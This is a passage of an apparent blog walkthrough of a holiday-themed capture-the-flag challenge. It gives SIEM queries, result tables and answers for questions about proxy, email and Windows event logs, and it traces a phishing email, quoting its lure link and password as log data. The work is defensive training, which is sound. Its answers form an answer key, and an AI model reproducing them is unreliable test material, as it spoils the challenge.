class=&#34;attr&#34;&gt;&amp;quot;event.url&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;pagead2.googlesyndication.com:443&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.user_identifier&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;elf_user02&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event_source&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;GreenCoat&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;host.ip&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.18.0.5&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;hostname&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SecureElfGwy&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;tags&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;match&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;syslog&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; By fetching a random event from &lt;code&gt;GreenCoat&lt;/code&gt;, we can see that &lt;code&gt;event.url&lt;/code&gt; contains the url. The answer is &lt;code&gt;event.url&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-10-Using-the-‘GreenCoat’-event-source-which-unique-URL-and-port-URL-port-did-clients-in-the-TinselStream-network-visit-most&#34;&gt;&lt;a href=&#34;#Question-10-Using-the-‘GreenCoat’-event-source-which-unique-URL-and-port-URL-port-did-clients-in-the-TinselStream-network-visit-most&#34; class=&#34;headerlink&#34; title=&#34;Question 10: Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?&#34;&gt;&lt;/a&gt;Question 10: Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;GreenCoat&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.url&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; SORT `&lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;()` &lt;span class=&#34;keyword&#34;&gt;DESC&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; LIMIT &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event.url&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;150&lt;/td&gt;
&lt;td&gt;pagead2.googlesyndication.com:443&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;pagead2.googlesyndication.com:443&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-11-Using-the-‘WindowsEvent’-event-source-how-many-unique-Channels-is-the-SIEM-receiving-Windows-event-logs-from&#34;&gt;&lt;a href=&#34;#Question-11-Using-the-‘WindowsEvent’-event-source-how-many-unique-Channels-is-the-SIEM-receiving-Windows-event-logs-from&#34; class=&#34;headerlink&#34; title=&#34;Question 11: Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?&#34;&gt;&lt;/a&gt;Question 11: Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;WindowsEvent&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.Channel&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; SORT `&lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;()` &lt;span class=&#34;keyword&#34;&gt;DESC&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;event.Channel&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;2268298&lt;/td&gt;
&lt;td&gt;Security&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17710&lt;/td&gt;
&lt;td&gt;Microsoft-Windows-Sysmon&amp;#x2F;Operational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11746&lt;/td&gt;
&lt;td&gt;Microsoft-Windows-PowerShell&amp;#x2F;Operational&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1217&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;191&lt;/td&gt;
&lt;td&gt;System&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;Windows PowerShell&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;5&lt;/code&gt; (excluding the null one)&lt;/p&gt;
&lt;h3 id=&#34;Question-12-What-is-the-name-of-the-event-Channel-or-Channel-with-the-second-highest-number-of-events&#34;&gt;&lt;a href=&#34;#Question-12-What-is-the-name-of-the-event-Channel-or-Channel-with-the-second-highest-number-of-events&#34; class=&#34;headerlink&#34; title=&#34;Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?&#34;&gt;&lt;/a&gt;Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Looking at the results from Question 11, we can see the Channel is &lt;code&gt;Microsoft-Windows-Sysmon/Operational&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-13-Our-environment-is-using-Sysmon-to-track-many-different-events-on-Windows-systems-What-is-the-Sysmon-Event-ID-related-to-loading-of-a-driver&#34;&gt;&lt;a href=&#34;#Question-13-Our-environment-is-using-Sysmon-to-track-many-different-events-on-Windows-systems-What-is-the-Sysmon-Event-ID-related-to-loading-of-a-driver&#34; class=&#34;headerlink&#34; title=&#34;Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?&#34;&gt;&lt;/a&gt;Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; I simply asked Google :) Answer is &lt;code&gt;6&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-14-What-is-the-Windows-event-ID-that-is-recorded-when-a-new-service-is-installed-on-a-system&#34;&gt;&lt;a href=&#34;#Question-14-What-is-the-Windows-event-ID-that-is-recorded-when-a-new-service-is-installed-on-a-system&#34; class=&#34;headerlink&#34; title=&#34;Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?&#34;&gt;&lt;/a&gt;Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; I simply asked Google :) Answer is &lt;code&gt;4697&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-15-Using-the-WindowsEvent-event-source-as-your-initial-filter-how-many-user-accounts-were-created&#34;&gt;&lt;a href=&#34;#Question-15-Using-the-WindowsEvent-event-source-as-your-initial-filter-how-many-user-accounts-were-created&#34; class=&#34;headerlink&#34; title=&#34;Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?&#34;&gt;&lt;/a&gt;Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?&lt;/h3&gt;&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event.Channel &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;Microsoft-Windows-Sysmon/Operational&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.EventID &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;4720&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt; No results&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;Gold-Hard-mode&#34;&gt;&lt;a href=&#34;#Gold-Hard-mode&#34; class=&#34;headerlink&#34; title=&#34;Gold (Hard mode)&#34;&gt;&lt;/a&gt;Gold (Hard mode)&lt;/h2&gt;&lt;h3 id=&#34;Question-1-What-is-the-event-EventID-number-for-Sysmon-event-logs-relating-to-process-creation&#34;&gt;&lt;a href=&#34;#Question-1-What-is-the-event-EventID-number-for-Sysmon-event-logs-relating-to-process-creation&#34; class=&#34;headerlink&#34; title=&#34;Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?&#34;&gt;&lt;/a&gt;Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Answer is &lt;code&gt;1&lt;/code&gt; (or you can simply ask Google)&lt;/p&gt;
&lt;h3 id=&#34;Question-2-How-many-unique-values-are-there-for-the-‘event-source’-field-in-all-of-the-logs&#34;&gt;&lt;a href=&#34;#Question-2-How-many-unique-values-are-there-for-the-‘event-source’-field-in-all-of-the-logs&#34; class=&#34;headerlink&#34; title=&#34;Question 2: How many unique values are there for the ‘event_source’ field in all of the logs?&#34;&gt;&lt;/a&gt;Question 2: How many unique values are there for the ‘event_source’ field in all of the logs?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Same answer of Easy Mode Question 2, &lt;code&gt;5&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-3-What-is-the-event-source-name-that-contains-the-email-logs&#34;&gt;&lt;a href=&#34;#Question-3-What-is-the-event-source-name-that-contains-the-email-logs&#34; class=&#34;headerlink&#34; title=&#34;Question 3: What is the event_source name that contains the email logs?&#34;&gt;&lt;/a&gt;Question 3: What is the event_source name that contains the email logs?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Same answer of Easy Mode Question 6, &lt;code&gt;SnowGlowMailPxy&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-4-The-North-Pole-network-was-compromised-recently-through-a-sophisticated-phishing-attack-sent-to-one-of-our-elves-The-attacker-found-a-way-to-bypass-the-middleware-that-prevented-phishing-emails-from-getting-to-North-Pole-elves-As-a-result-one-of-the-Received-IPs-will-likely-be-different-from-what-most-email-logs-contain-Find-the-email-log-in-question-and-submit-the-value-in-the-event-‘From-’-field-for-this-email-log-event&#34;&gt;&lt;a href=&#34;#Question-4-The-North-Pole-network-was-compromised-recently-through-a-sophisticated-phishing-attack-sent-to-one-of-our-elves-The-attacker-found-a-way-to-bypass-the-middleware-that-prevented-phishing-emails-from-getting-to-North-Pole-elves-As-a-result-one-of-the-Received-IPs-will-likely-be-different-from-what-most-email-logs-contain-Find-the-email-log-in-question-and-submit-the-value-in-the-event-‘From-’-field-for-this-email-log-event&#34; class=&#34;headerlink&#34; title=&#34;Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event ‘From:’ field for this email log event.&#34;&gt;&lt;/a&gt;Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event ‘From:’ field for this email log event.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;SnowGlowMailPxy&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;count&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; event.ReceivedIP2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;VALUES(event.From)&lt;/th&gt;
&lt;th&gt;event.ReceivedIP2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1397&lt;/td&gt;
&lt;td&gt;[&lt;a href=&#34;mailto:&amp;#x53;&amp;#97;&amp;#110;&amp;#x74;&amp;#x61;&amp;#x53;&amp;#x6c;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#101;&amp;#x72;&amp;#x40;&amp;#98;&amp;#x65;&amp;#x6c;&amp;#108;&amp;#x73;&amp;#46;&amp;#114;&amp;#105;&amp;#110;&amp;#x67;&#34;&gt;SantaSlinger@bells.ring&lt;/a&gt;, … omissis … ]&lt;/td&gt;
&lt;td&gt;172.24.25.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;mailto:&amp;#x6b;&amp;#114;&amp;#105;&amp;#x73;&amp;#107;&amp;#x72;&amp;#x69;&amp;#110;&amp;#x67;&amp;#49;&amp;#101;&amp;#64;&amp;#110;&amp;#x6f;&amp;#x72;&amp;#x74;&amp;#x68;&amp;#112;&amp;#x6f;&amp;#108;&amp;#x65;&amp;#x2e;&amp;#108;&amp;#111;&amp;#99;&amp;#x61;&amp;#108;&#34;&gt;kriskring1e@northpole.local&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;34.30.110.62&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; We can observe that only one event was generated by the IP address &lt;code&gt;34.30.110.62&lt;/code&gt; and that email is coming from &lt;code&gt;kriskring1e@northpole.local&lt;/code&gt;. The answer is &lt;code&gt;kriskring1e@northpole.local&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-5-Our-ElfSOC-analysts-need-your-help-identifying-the-hostname-of-the-domain-computer-that-established-a-connection-to-the-attacker-after-receiving-the-phishing-email-from-the-previous-question-You-can-take-a-look-at-our-GreenCoat-proxy-logs-as-an-event-source-Since-it-is-a-domain-computer-we-only-need-the-hostname-not-the-fully-qualified-domain-name-FQDN-of-the-system&#34;&gt;&lt;a href=&#34;#Question-5-Our-ElfSOC-analysts-need-your-help-identifying-the-hostname-of-the-domain-computer-that-established-a-connection-to-the-attacker-after-receiving-the-phishing-email-from-the-previous-question-You-can-take-a-look-at-our-GreenCoat-proxy-logs-as-an-event-source-Since-it-is-a-domain-computer-we-only-need-the-hostname-not-the-fully-qualified-domain-name-FQDN-of-the-system&#34; class=&#34;headerlink&#34; title=&#34;Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.&#34;&gt;&lt;/a&gt;Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY 1:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;SnowGlowMailPxy&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.ReceivedIP2 &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;34.30.110.62&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; KEEP event.Body&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS 1:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;event.Body&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;We need to store the updated naughty and nice list somewhere secure. I posted it here &lt;a href=&#34;http://hollyhaven.snowflake/howtosavexmas.zip&#34;&gt;http://hollyhaven.snowflake/howtosavexmas.zip&lt;/a&gt;. Act quickly so I can remove the link from the internet! I encrypted it with the password: n&amp;amp;nli$t_finAl1\n\nthx!\nkris\n- Sent from the sleigh. Please excuse any Ho Ho Ho’s.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;QUERY 2:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;GreenCoat&amp;quot; &lt;span class=&#34;keyword&#34;&gt;AND&lt;/span&gt; event.url &lt;span 